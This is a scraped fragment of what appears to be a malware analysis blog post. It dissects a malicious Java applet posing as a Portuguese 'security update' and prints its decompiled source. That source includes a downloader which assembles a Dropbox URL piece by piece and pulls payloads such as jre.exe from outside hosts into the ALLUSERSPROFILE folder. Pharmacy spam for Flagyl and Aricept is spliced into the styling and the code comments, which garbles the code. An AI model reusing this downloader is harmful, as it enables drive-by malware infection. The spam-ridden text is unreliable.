none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: #006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>  </div></div></p>
<p><p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, <b>generic Flagyl</b>, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p></p>
<p><p>You get 5 classes:</p></p>
<p><p>a.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Where to buy Flagyl</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl samples</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Rx free Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>order Flagyl from United States pharmacy</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Order Flagyl online overnight delivery no prescription</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl images</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\&quot;).append(s1).toString(), this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\<span style="color: #006080">&quot;).append(s).toString(), <b>Buy cheap Flagyl no rx</b>, this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>buy Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>  </div></div></p>
<p><p>c_gP.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl natural</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>online buy Flagyl without a prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Buy generic Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dangers</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'<title>Aricept For Sale</title>'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'<title>Aricept For Sale</title>1'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>My Flagyl experience</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
